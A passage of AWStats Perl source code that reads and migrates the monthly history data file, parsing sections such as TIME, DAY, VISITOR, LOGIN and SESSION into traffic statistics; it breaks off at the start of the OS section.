2116 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowOriginStats) || $HTMLOutput{'origin'}) { $SectionsToLoad{'origin'}=$order++; }
2117 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowOriginStats) || $HTMLOutput{'refererse'}) { $SectionsToLoad{'sereferrals'}=$order++; }
2118 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowOriginStats) || $HTMLOutput{'refererpages'}) { $SectionsToLoad{'pagerefs'}=$order++; }
2119 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowKeyphrasesStats) || $HTMLOutput{'keyphrases'} || $HTMLOutput{'keywords'}) { $SectionsToLoad{'searchwords'}=$order++; }
2120 if (! $withupdate && $HTMLOutput{'main'} && $ShowKeywordsStats) { $SectionsToLoad{'keywords'}=$order++; } # If we update, dont need to load
2121 # Others
2122 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowMiscStats)) { $SectionsToLoad{'misc'}=$order++; }
2123 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && ($ShowHTTPErrorsStats || $ShowSMTPErrorsStats)) || $HTMLOutput{'errors'}) { $SectionsToLoad{'errors'}=$order++; }
2124 foreach (keys %TrapInfosForHTTPErrorCodes) {
2125 if ($UpdateStats || $MigrateStats || $HTMLOutput{"errors$_"}) { $SectionsToLoad{"sider_$_"}=$order++; }
2126 }
2127 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ShowClusterStats)) { $SectionsToLoad{'cluster'}=$order++; }
2128 foreach (1..@ExtraName-1) {
2129 if ($UpdateStats || $MigrateStats || ($HTMLOutput{'main'} && $ExtraStatTypes[$_]) || $HTMLOutput{"extra$_"}) { $SectionsToLoad{"extra_$_"}=$order++; }
2130 }
2131 foreach (keys %{$PluginsLoaded{'SectionInitHashArray'}}) {
2132 if ($UpdateStats || $MigrateStats || $HTMLOutput{"plugin_$_"}) { $SectionsToLoad{"plugin_$_"}=$order++; }
2133 }
2134 }
2135 else { # Load only required sections
2136 my $order=1;
2137 foreach (split(/\s+/,$part)) { $SectionsToLoad{$_}=$order++; }
2138 }
2139
2140 # Define SectionsToSave (which sections to save)
2141 my %SectionsToSave = ();
2142 if ($withupdate) {
2143 if ($SectionsToBeSaved eq 'all') {
2144 %SectionsToSave=%allsections;
2145 } else {
2146 my $order=1;
2147 foreach (split(/\s+/,$SectionsToBeSaved)) { $SectionsToSave{$_}=$order++; }
2148 }
2149 }
2150
2151 if ($Debug) {
2152 debug(" List of sections marked for load : ".join(' ',(sort { $SectionsToLoad{$a} <=> $SectionsToLoad{$b} } keys %SectionsToLoad)),2);
2153 debug(" List of sections marked for save : ".join(' ',(sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } keys %SectionsToSave)),2);
2154 }
2155
2156 # Define value for filetowrite and filetoread (Month before Year kept for backward compatibility)
2157 my $filetowrite='';
2158 my $filetoread='';
2159 if ($HistoryAlreadyFlushed{"$year$month$day$hour"} && -s "$DirData/$PROG$filedate$FileSuffix.tmp.$$") {
2160 # tmp history file was already flushed
2161 $filetoread="$DirData/$PROG$filedate$FileSuffix.tmp.$$";
2162 $filetowrite="$DirData/$PROG$filedate$FileSuffix.tmp.$$.bis";
2163 }
2164 else {
2165 $filetoread="$DirData/$PROG$filedate$FileSuffix.txt";
2166 $filetowrite="$DirData/$PROG$filedate$FileSuffix.tmp.$$";
2167 }
2168 if ($Debug) { debug(" History file to read is '$filetoread'",2); }
2169
2170 # Is there an old data file to read or, if migrate, can we open the file for read
2171 if (-s $filetoread || $MigrateStats) { $withread=1; }
2172
2173 # Open files
2174 if ($withread) {
2175 open(HISTORY,$filetoread) || error("Couldn't open file \"$filetoread\" for read: $!","","",$MigrateStats);
2176 binmode HISTORY; # Avoid premature EOF due to history files corrupted with \cZ or bin chars
2177 }
2178 if ($withupdate) {
2179 open(HISTORYTMP,">$filetowrite") || error("Couldn't open file \"$filetowrite\" for write: $!");
2180 binmode HISTORYTMP;
2181 if ($xml) { print HISTORYTMP '<xml xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://awstats.sourceforge.net/files/awstats.xsd">'."\n\n"; }
2182 Save_History("header",$year,$month,$date);
2183 }
2184
2185 # Loop on read file
2186 my $readxml=0;
2187 if ($withread) {
2188 my $countlines=0;
2189 my $versionnum=0;
2190 my @field=();
2191 while (<HISTORY>) {
2192 chomp $_; s/\r//;
2193 $countlines++;
2194
2195 # Test if it's xml
2196 if (! $readxml && $_ =~ /^<xml/) {
2197 $readxml=1;
2198 if ($Debug) { debug(" Data file format is 'xml'",1); }
2199 next;
2200 }
2201
2202 # Extract version from first line
2203 if (! $versionnum && $_ =~ /^AWSTATS DATA FILE (\d+).(\d+)/i) {
2204 $versionnum=($1*1000)+$2;
2205 if ($Debug) { debug(" Data file version is $versionnum",1); }
2206 next;
2207 }
2208
2209 # Analyze fields
2210 @field=split(/\s+/,($readxml?CleanFromTags($_):$_));
2211 if (! $field[0]) { next; }
2212
2213 # Here version MUST be defined
2214 if ($versionnum < 5000) {
2215 error("History file '$filetoread' is to old (version '$versionnum'). This version of AWStats is not compatible with very old history files. Remove this history file or use first a previous AWStats version to migrate it from command line with command: $PROG.$Extension -migrate=\"$filetoread\".","","",1);
2216 }
2217
2218 # BEGIN_GENERAL
2219 # TODO Manage GENERAL in a loop like other sections.
2220 if ($field[0] eq 'BEGIN_GENERAL') {
2221 if ($Debug) { debug(" Begin of GENERAL section"); }
2222 next;
2223 }
2224 if ($field[0] eq 'LastLine' || $field[0] eq "${xmlrb}LastLine") {
2225 if (! $LastLine || $LastLine < int($field[1])) { $LastLine=int($field[1]); };
2226 if ($field[2]) { $LastLineNumber=int($field[2]); }
2227 if ($field[3]) { $LastLineOffset=int($field[3]); }
2228 if ($field[4]) { $LastLineChecksum=int($field[4]); }
2229 next;
2230 }
2231 if ($field[0] eq 'FirstTime' || $field[0] eq "${xmlrb}FirstTime") { if (! $FirstTime{$date} || $FirstTime{$date} > int($field[1])) { $FirstTime{$date}=int($field[1]); }; next; }
2232 if ($field[0] eq 'LastTime' || $field[0] eq "${xmlrb}LastTime") { if (! $LastTime{$date} || $LastTime{$date} < int($field[1])) { $LastTime{$date}=int($field[1]); }; next; }
2233 if ($field[0] eq 'LastUpdate' || $field[0] eq "${xmlrb}LastUpdate") {
2234 if ($LastUpdate < $field[1]) {
2235 $LastUpdate=int($field[1]);
2236 #$LastUpdateLinesRead=int($field[2]);
2237 #$LastUpdateNewLinesRead=int($field[3]);
2238 #$LastUpdateLinesCorrupted=int($field[4]);
2239 };
2240 next;
2241 }
2242 if ($field[0] eq 'TotalVisits' || $field[0] eq "${xmlrb}TotalVisits") {
2243 if (! $withupdate) { $MonthVisits{$year.$month}+=int($field[1]); }
2244 next;
2245 }
2246 if ($field[0] eq 'TotalUnique' || $field[0] eq "${xmlrb}TotalUnique") { if (! $withupdate) { $MonthUnique{$year.$month}+=int($field[1]); } next; }
2247 if ($field[0] eq 'MonthHostsKnown' || $field[0] eq "${xmlrb}MonthHostsKnown") { if (! $withupdate) { $MonthHostsKnown{$year.$month}+=int($field[1]); } next; }
2248 if ($field[0] eq 'MonthHostsUnknown' || $field[0] eq "${xmlrb}MonthHostsUnknown") { if (! $withupdate) { $MonthHostsUnknown{$year.$month}+=int($field[1]); } next; }
2249 if (($field[0] eq 'END_GENERAL' || $field[0] eq "${xmleb}END_GENERAL")) {
2250 if ($Debug) { debug(" End of GENERAL section"); }
2251 if ($MigrateStats && ! $BadFormatWarning{$year.$month}) {
2252 $BadFormatWarning{$year.$month}=1;
2253 warning("Warning: You are migrating a file that is already a recent version (migrate not required for files version $versionnum).","","",1);
2254 }
2255
2256 delete $SectionsToLoad{'general'};
2257 if ($SectionsToSave{'general'}) {
2258 Save_History('general',$year,$month,$date,$lastlinenb,$lastlineoffset,$lastlinechecksum); delete $SectionsToSave{'general'};
2259 }
2260 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2261 next;
2262 }
2263
2264 # BEGIN_MISC
2265 if ($field[0] eq 'BEGIN_MISC') {
2266 if ($Debug) { debug(" Begin of MISC section"); }
2267 $field[0]='';
2268 my $count=0;my $countloaded=0;
2269 do {
2270 if ($field[0]) {
2271 $count++;
2272 if ($SectionsToLoad{'misc'}) {
2273 $countloaded++;
2274 if ($field[1]) { $_misc_p{$field[0]}+=int($field[1]); }
2275 if ($field[2]) { $_misc_h{$field[0]}+=int($field[2]); }
2276 if ($field[3]) { $_misc_k{$field[0]}+=int($field[3]); }
2277 }
2278 }
2279 $_=<HISTORY>;
2280 chomp $_; s/\r//;
2281 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2282 }
2283 until ($field[0] eq 'END_MISC' || $field[0] eq "${xmleb}END_MISC" || ! $_);
2284 if ($field[0] ne 'END_MISC' && $field[0] ne "${xmleb}END_MISC") { error("History file \"$filetoread\" is corrupted (End of section MISC not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2285 if ($Debug) { debug(" End of MISC section ($count entries, $countloaded loaded)"); }
2286 delete $SectionsToLoad{'misc'};
2287 if ($SectionsToSave{'misc'}) {
2288 Save_History('misc',$year,$month,$date); delete $SectionsToSave{'misc'};
2289 if ($withpurge) { %_misc_p=(); %_misc_h=(); %_misc_k=(); }
2290 }
2291 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2292 next;
2293 }
2294
2295 # BEGIN_CLUSTER
2296 if ($field[0] eq 'BEGIN_CLUSTER') {
2297 if ($Debug) { debug(" Begin of CLUSTER section"); }
2298 $field[0]='';
2299 my $count=0;my $countloaded=0;
2300 do {
2301 if ($field[0]) {
2302 $count++;
2303 if ($SectionsToLoad{'cluster'}) {
2304 $countloaded++;
2305 if ($field[1]) { $_cluster_p{$field[0]}+=int($field[1]); }
2306 if ($field[2]) { $_cluster_h{$field[0]}+=int($field[2]); }
2307 if ($field[3]) { $_cluster_k{$field[0]}+=int($field[3]); }
2308 }
2309 }
2310 $_=<HISTORY>;
2311 chomp $_; s/\r//;
2312 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2313 }
2314 until ($field[0] eq 'END_CLUSTER' || $field[0] eq "${xmleb}END_CLUSTER" || ! $_);
2315 if ($field[0] ne 'END_CLUSTER' && $field[0] ne "${xmleb}END_CLUSTER") { error("History file \"$filetoread\" is corrupted (End of section CLUSTER not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2316 if ($Debug) { debug(" End of CLUSTER section ($count entries, $countloaded loaded)"); }
2317 delete $SectionsToLoad{'cluster'};
2318 if ($SectionsToSave{'cluster'}) {
2319 Save_History('cluster',$year,$month,$date); delete $SectionsToSave{'cluster'};
2320 if ($withpurge) { %_cluster_p=(); %_cluster_h=(); %_cluster_k=(); }
2321 }
2322 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2323 next;
2324 }
2325
2326 # BEGIN_TIME
2327 if ($field[0] eq 'BEGIN_TIME') {
2328 my $monthpages=0;my $monthhits=0;my $monthbytes=0;
2329 my $monthnotviewedpages=0;my $monthnotviewedhits=0;my $monthnotviewedbytes=0;
2330 if ($Debug) { debug(" Begin of TIME section"); }
2331 $field[0]='';
2332 my $count=0;my $countloaded=0;
2333 do {
2334 if ($field[0] ne '') { # Test on ne '' because field[0] is '0' for hour 0)
2335 $count++;
2336 if ($SectionsToLoad{'time'}) {
2337 if ($withupdate || $MonthRequired eq 'all' || $MonthRequired eq "$month") { # Still required
2338 $countloaded++;
2339 if ($field[1]) { $_time_p[$field[0]]+=int($field[1]); }
2340 if ($field[2]) { $_time_h[$field[0]]+=int($field[2]); }
2341 if ($field[3]) { $_time_k[$field[0]]+=int($field[3]); }
2342 if ($field[4]) { $_time_nv_p[$field[0]]+=int($field[4]); }
2343 if ($field[5]) { $_time_nv_h[$field[0]]+=int($field[5]); }
2344 if ($field[6]) { $_time_nv_k[$field[0]]+=int($field[6]); }
2345 }
2346 $monthpages+=int($field[1]);
2347 $monthhits+=int($field[2]);
2348 $monthbytes+=int($field[3]);
2349 $monthnotviewedpages+=int($field[4]||0);
2350 $monthnotviewedhits+=int($field[5]||0);
2351 $monthnotviewedbytes+=int($field[6]||0);
2352 }
2353 }
2354 $_=<HISTORY>;
2355 chomp $_; s/\r//;
2356 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2357 }
2358 until ($field[0] eq 'END_TIME' || $field[0] eq "${xmleb}END_TIME" || ! $_);
2359 if ($field[0] ne 'END_TIME' && $field[0] ne "${xmleb}END_TIME") { error("History file \"$filetoread\" is corrupted (End of section TIME not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2360 if ($Debug) { debug(" End of TIME section ($count entries, $countloaded loaded)"); }
2361 $MonthPages{$year.$month}+=$monthpages;
2362 $MonthHits{$year.$month}+=$monthhits;
2363 $MonthBytes{$year.$month}+=$monthbytes;
2364 $MonthNotViewedPages{$year.$month}+=$monthnotviewedpages;
2365 $MonthNotViewedHits{$year.$month}+=$monthnotviewedhits;
2366 $MonthNotViewedBytes{$year.$month}+=$monthnotviewedbytes;
2367 delete $SectionsToLoad{'time'};
2368 if ($SectionsToSave{'time'}) {
2369 Save_History('time',$year,$month,$date); delete $SectionsToSave{'time'};
2370 if ($withpurge) { @_time_p=(); @_time_h=(); @_time_k=(); @_time_nv_p=(); @_time_nv_h=(); @_time_nv_k=(); }
2371 }
2372 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2373 next;
2374 }
2375
2376 # BEGIN_ORIGIN
2377 if ($field[0] eq 'BEGIN_ORIGIN') {
2378 if ($Debug) { debug(" Begin of ORIGIN section"); }
2379 $field[0]='';
2380 my $count=0;my $countloaded=0;
2381 do {
2382 if ($field[0]) {
2383 $count++;
2384 if ($SectionsToLoad{'origin'}) {
2385 if ($field[0] eq 'From0') { $_from_p[0]+=$field[1]; $_from_h[0]+=$field[2]; }
2386 elsif ($field[0] eq 'From1') { $_from_p[1]+=$field[1]; $_from_h[1]+=$field[2]; }
2387 elsif ($field[0] eq 'From2') { $_from_p[2]+=$field[1]; $_from_h[2]+=$field[2]; }
2388 elsif ($field[0] eq 'From3') { $_from_p[3]+=$field[1]; $_from_h[3]+=$field[2]; }
2389 elsif ($field[0] eq 'From4') { $_from_p[4]+=$field[1]; $_from_h[4]+=$field[2]; }
2390 elsif ($field[0] eq 'From5') { $_from_p[5]+=$field[1]; $_from_h[5]+=$field[2]; }
2391 }
2392 }
2393 $_=<HISTORY>;
2394 chomp $_; s/\r//;
2395 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2396 }
2397 until ($field[0] eq 'END_ORIGIN' || $field[0] eq "${xmleb}END_ORIGIN" || ! $_);
2398 if ($field[0] ne 'END_ORIGIN' && $field[0] ne "${xmleb}END_ORIGIN") { error("History file \"$filetoread\" is corrupted (End of section ORIGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2399 if ($Debug) { debug(" End of ORIGIN section ($count entries, $countloaded loaded)"); }
2400 delete $SectionsToLoad{'origin'};
2401 if ($SectionsToSave{'origin'}) {
2402 Save_History('origin',$year,$month,$date); delete $SectionsToSave{'origin'};
2403 if ($withpurge) { @_from_p=(); @_from_h=(); }
2404 }
2405 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2406 next;
2407 }
2408 # BEGIN_DAY
2409 if ($field[0] eq 'BEGIN_DAY') {
2410 if ($Debug) { debug(" Begin of DAY section"); }
2411 $field[0]='';
2412 my $count=0;my $countloaded=0;
2413 do {
2414 if ($field[0]) {
2415 $count++;
2416 if ($SectionsToLoad{'day'}) {
2417 $countloaded++;
2418 if ($field[1]) { $DayPages{$field[0]}+=int($field[1]); }
2419 $DayHits{$field[0]}+=int($field[2]); # DayHits always load (should be >0 and if not it's a day YYYYMM00 resulting of an old file migration)
2420 if ($field[3]) { $DayBytes{$field[0]}+=int($field[3]); }
2421 if ($field[4]) { $DayVisits{$field[0]}+=int($field[4]); }
2422 }
2423 }
2424 $_=<HISTORY>;
2425 chomp $_; s/\r//;
2426 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2427 }
2428 until ($field[0] eq 'END_DAY' || $field[0] eq "${xmleb}END_DAY" || ! $_);
2429 if ($field[0] ne 'END_DAY' && $field[0] ne "${xmleb}END_DAY") { error("History file \"$filetoread\" is corrupted (End of section DAY not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2430 if ($Debug) { debug(" End of DAY section ($count entries, $countloaded loaded)"); }
2431 delete $SectionsToLoad{'day'};
2432 # WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
2433 #if ($SectionsToSave{'day'}) { # Must be made after read of visitor
2434 # Save_History('day',$year,$month,$date); delete $SectionsToSave{'day'};
2435 # if ($withpurge) { %DayPages=(); %DayHits=(); %DayBytes=(); %DayVisits=(); }
2436 #}
2437 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2438 next;
2439 }
2440 # BEGIN_VISITOR
2441 if ($field[0] eq 'BEGIN_VISITOR') {
2442 if ($Debug) { debug(" Begin of VISITOR section"); }
2443 $field[0]='';
2444 my $count=0;my $countloaded=0;
2445 do {
2446 if ($field[0]) {
2447 $count++;
2448
2449 # For backward compatibility
2450 if ($readvisitorforbackward) {
2451 if ($field[1]) { $MonthUnique{$year.$month}++; }
2452 if ($MonthRequired ne 'all') {
2453 if ($field[0] !~ /^\d+\.\d+\.\d+\.\d+$/ && $field[0] !~ /^[0-9A-F]*:/i) { $MonthHostsKnown{$year.$month}++; }
2454 else { $MonthHostsUnknown{$year.$month}++; }
2455 }
2456 }
2457
2458 # Process data saved in 'wait' arrays
2459 if ($withupdate && $_waithost_e{$field[0]}){
2460 my $timehostl=int($field[4]||0);
2461 my $timehosts=int($field[5]||0);
2462 my $newtimehosts=($_waithost_s{$field[0]}?$_waithost_s{$field[0]}:$_host_s{$field[0]});
2463 my $newtimehostl=($_waithost_l{$field[0]}?$_waithost_l{$field[0]}:$_host_l{$field[0]});
2464 if ($newtimehosts > $timehostl + $VISITTIMEOUT ) {
2465 if ($Debug) { debug(" Visit for $field[0] in 'wait' arrays is a new visit different than last in history",4); }
2466 if ($field[6]) { $_url_x{$field[6]}++; }
2467 $_url_e{$_waithost_e{$field[0]}}++;
2468 $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; $DayVisits{$1}++;
2469 if ($timehosts && $timehostl) { $_session{GetSessionRange($timehosts,$timehostl)}++; }
2470 if ($_waithost_s{$field[0]}) {
2471 # First session found in log was followed by another one so it's finished
2472 $_session{GetSessionRange($newtimehosts,$newtimehostl)}++;
2473 }
2474 # Here $_host_l $_host_s and $_host_u are correctly defined
2475 }
2476 else {
2477 if ($Debug) { debug(" Visit for $field[0] in 'wait' arrays is following of last visit in history",4); }
2478 if ($_waithost_s{$field[0]}) {
2479 # First session found in log was followed by another one so it's finished
2480 $_session{GetSessionRange(MinimumButNoZero($timehosts,$newtimehosts),$timehostl>$newtimehostl?$timehostl:$newtimehostl)}++;
2481 # Here $_host_l $_host_s and $_host_u are correctly defined
2482 }
2483 else {
2484 # We correct $_host_l $_host_s and $_host_u
2485 if ($timehostl > $newtimehostl) {
2486 $_host_l{$field[0]}=$timehostl;
2487 $_host_u{$field[0]}=$field[6];
2488 }
2489 if ($timehosts < $newtimehosts) {
2490 $_host_s{$field[0]}=$timehosts;
2491 }
2492 }
2493 }
2494 delete $_waithost_e{$field[0]};
2495 delete $_waithost_l{$field[0]};
2496 delete $_waithost_s{$field[0]};
2497 delete $_waithost_u{$field[0]};
2498 }
2499
2500 # Load records
2501 if ($readvisitorforbackward!=2 && $SectionsToLoad{'visitor'}) { # if readvisitorforbackward==2 we do not load
2502 my $loadrecord=0;
2503 if ($withupdate) {
2504 $loadrecord=1;
2505 }
2506 else {
2507 if ($HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'}) {
2508 if ((!$FilterIn{'host'} || $field[0] =~ /$FilterIn{'host'}/i)
2509 && (!$FilterEx{'host'} || $field[0] !~ /$FilterEx{'host'}/i)) { $loadrecord=1; }
2510 }
2511 elsif ($MonthRequired eq 'all' || $field[2] >= $MinHit{'Host'}) {
2512 if ($HTMLOutput{'unknownip'} && ($field[0] =~ /^\d+\.\d+\.\d+\.\d+$/ || $field[0] =~ /^[0-9A-F]*:/i)) { $loadrecord=1; }
2513 elsif ($HTMLOutput{'main'} && ($MonthRequired eq 'all' || $countloaded < $MaxNbOf{'HostsShown'})) { $loadrecord=1; }
2514 }
2515 }
2516 if ($loadrecord) {
2517 if ($field[1]) { $_host_p{$field[0]}+=$field[1]; }
2518 if ($field[2]) { $_host_h{$field[0]}+=$field[2]; }
2519 if ($field[3]) { $_host_k{$field[0]}+=$field[3]; }
2520 if ($field[4] && ! $_host_l{$field[0]}) { # We save last connexion params if not previously defined
2521 $_host_l{$field[0]}=int($field[4]);
2522 if ($withupdate) { # field[5] field[6] are used only for update
2523 if ($field[5] && ! $_host_s{$field[0]}) { $_host_s{$field[0]}=int($field[5]); }
2524 if ($field[6] && ! $_host_u{$field[0]}) { $_host_u{$field[0]}=$field[6]; }
2525 }
2526 }
2527 $countloaded++;
2528 }
2529 }
2530 }
2531 $_=<HISTORY>;
2532 chomp $_; s/\r//;
2533 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2534 }
2535 until ($field[0] eq 'END_VISITOR' || $field[0] eq "${xmleb}END_VISITOR" || ! $_);
2536 if ($field[0] ne 'END_VISITOR' && $field[0] ne "${xmleb}END_VISITOR") { error("History file \"$filetoread\" is corrupted (End of section VISITOR not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2537 if ($Debug) { debug(" End of VISITOR section ($count entries, $countloaded loaded)"); }
2538 delete $SectionsToLoad{'visitor'};
2539 # WE DO NOT SAVE SECTION NOW TO BE SURE TO HAVE THIS LARGE SECTION NOT AT THE BEGINNING OF FILE
2540 #if ($SectionsToSave{'visitor'}) {
2541 # Save_History('visitor',$year,$month,$date); delete $SectionsToSave{'visitor'};
2542 # if ($withpurge) { %_host_p=(); %_host_h=(); %_host_k=(); %_host_l=(); %_host_s=(); %_host_u=(); }
2543 #}
2544 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2545 next;
2546 }
2547 # BEGIN_UNKNOWNIP for backward compatibility
2548 if ($field[0] eq 'BEGIN_UNKNOWNIP') {
2549 my %iptomigrate=();
2550 if ($Debug) { debug(" Begin of UNKNOWNIP section"); }
2551 $field[0]='';
2552 my $count=0;my $countloaded=0;
2553 do {
2554 if ($field[0]) {
2555 $count++;
2556 if ($SectionsToLoad{'unknownip'}) {
2557 $iptomigrate{$field[0]}=$field[1]||0;
2558 $countloaded++;
2559 }
2560 }
2561 $_=<HISTORY>;
2562 chomp $_; s/\r//;
2563 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2564 }
2565 until ($field[0] eq 'END_UNKNOWNIP' || $field[0] eq "${xmleb}END_UNKNOWNIP" || ! $_);
2566 if ($field[0] ne 'END_UNKNOWNIP' && $field[0] ne "${xmleb}END_UNKNOWNIP") { error("History file \"$filetoread\" is corrupted (End of section UNKOWNIP not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2567 if ($Debug) { debug(" End of UNKOWNIP section ($count entries, $countloaded loaded)"); }
2568 delete $SectionsToLoad{'visitor'};
2569 # THIS SECTION IS NEVER SAVED. ONLY READ FOR MIGRATE AND CONVERTED INTO VISITOR SECTION
2570 foreach (keys %iptomigrate) {
2571 $_host_p{$_}+=int($_host_p{'Unknown'}/$countloaded);
2572 $_host_h{$_}+=int($_host_h{'Unknown'}/$countloaded);
2573 $_host_k{$_}+=int($_host_k{'Unknown'}/$countloaded);
2574 if ($iptomigrate{$_} > 0) { $_host_l{$_}=$iptomigrate{$_} };
2575 }
2576 delete $_host_p{'Unknown'};
2577 delete $_host_h{'Unknown'};
2578 delete $_host_k{'Unknown'};
2579 delete $_host_l{'Unknown'};
2580 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2581 next;
2582 }
2583 # BEGIN_LOGIN
2584 if ($field[0] eq 'BEGIN_LOGIN') {
2585 if ($Debug) { debug(" Begin of LOGIN section"); }
2586 $field[0]='';
2587 my $count=0;my $countloaded=0;
2588 do {
2589 if ($field[0]) {
2590 $count++;
2591 if ($SectionsToLoad{'login'}) {
2592 $countloaded++;
2593 if ($field[1]) { $_login_p{$field[0]}+=$field[1]; }
2594 if ($field[2]) { $_login_h{$field[0]}+=$field[2]; }
2595 if ($field[3]) { $_login_k{$field[0]}+=$field[3]; }
2596 if (! $_login_l{$field[0]} && $field[4]) { $_login_l{$field[0]}=int($field[4]); }
2597 }
2598 }
2599 $_=<HISTORY>;
2600 chomp $_; s/\r//;
2601 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2602 }
2603 until ($field[0] eq 'END_LOGIN' || $field[0] eq "${xmleb}END_LOGIN" || ! $_);
2604 if ($field[0] ne 'END_LOGIN' && $field[0] ne "${xmleb}END_LOGIN") { error("History file \"$filetoread\" is corrupted (End of section LOGIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2605 if ($Debug) { debug(" End of LOGIN section ($count entries, $countloaded loaded)"); }
2606 delete $SectionsToLoad{'login'};
2607 if ($SectionsToSave{'login'}) {
2608 Save_History('login',$year,$month,$date); delete $SectionsToSave{'login'};
2609 if ($withpurge) { %_login_p=(); %_login_h=(); %_login_k=(); %_login_l=(); }
2610 }
2611 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2612 next;
2613 }
2614 # BEGIN_DOMAIN
2615 if ($field[0] eq 'BEGIN_DOMAIN') {
2616 if ($Debug) { debug(" Begin of DOMAIN section"); }
2617 $field[0]='';
2618 my $count=0;my $countloaded=0;
2619 do {
2620 if ($field[0]) {
2621 $count++;
2622 if ($SectionsToLoad{'domain'}) {
2623 $countloaded++;
2624 if ($field[1]) { $_domener_p{$field[0]}+=$field[1]; }
2625 if ($field[2]) { $_domener_h{$field[0]}+=$field[2]; }
2626 if ($field[3]) { $_domener_k{$field[0]}+=$field[3]; }
2627 }
2628 }
2629 $_=<HISTORY>;
2630 chomp $_; s/\r//;
2631 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2632 }
2633 until ($field[0] eq 'END_DOMAIN' || $field[0] eq "${xmleb}END_DOMAIN" || ! $_);
2634 if ($field[0] ne 'END_DOMAIN' && $field[0] ne "${xmleb}END_DOMAIN") { error("History file \"$filetoread\" is corrupted (End of section DOMAIN not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2635 if ($Debug) { debug(" End of DOMAIN section ($count entries, $countloaded loaded)"); }
2636 delete $SectionsToLoad{'domain'};
2637 if ($SectionsToSave{'domain'}) {
2638 Save_History('domain',$year,$month,$date); delete $SectionsToSave{'domain'};
2639 if ($withpurge) { %_domener_p=(); %_domener_h=(); %_domener_k=(); }
2640 }
2641 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2642 next;
2643 }
2644 # BEGIN_SESSION
2645 if ($field[0] eq 'BEGIN_SESSION') {
2646 if ($Debug) { debug(" Begin of SESSION section"); }
2647 $field[0]='';
2648 my $count=0;my $countloaded=0;
2649 do {
2650 if ($field[0]) {
2651 $count++;
2652 if ($SectionsToLoad{'session'}) {
2653 $countloaded++;
2654 if ($field[1]) { $_session{$field[0]}+=$field[1]; }
2655 }
2656 }
2657 $_=<HISTORY>;
2658 chomp $_; s/\r//;
2659 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
2660 }
2661 until ($field[0] eq 'END_SESSION' || $field[0] eq "${xmleb}END_SESSION" || ! $_);
2662 if ($field[0] ne 'END_SESSION' && $field[0] ne "${xmleb}END_SESSION") { error("History file \"$filetoread\" is corrupted (End of section SESSION not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
2663 if ($Debug) { debug(" End of SESSION section ($count entries, $countloaded loaded)"); }
2664 delete $SectionsToLoad{'session'};
2665 # WE DO NOT SAVE SECTION NOW BECAUSE VALUES CAN BE CHANGED AFTER READING VISITOR
2666 #if ($SectionsToSave{'session'}) {
2667 # Save_History('session',$year,$month,$date); delete $SectionsToSave{'session'}; }
2668 # if ($withpurge) { %_session=(); }
2669 #}
2670 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
2671 next;
2672 }
2673 # BEGIN_OS
2674 if ($field[0] eq 'BEGIN_OS') {
2675 if ($Debug) { debug(" Begin of OS section"); }
2676 $field[0]='';
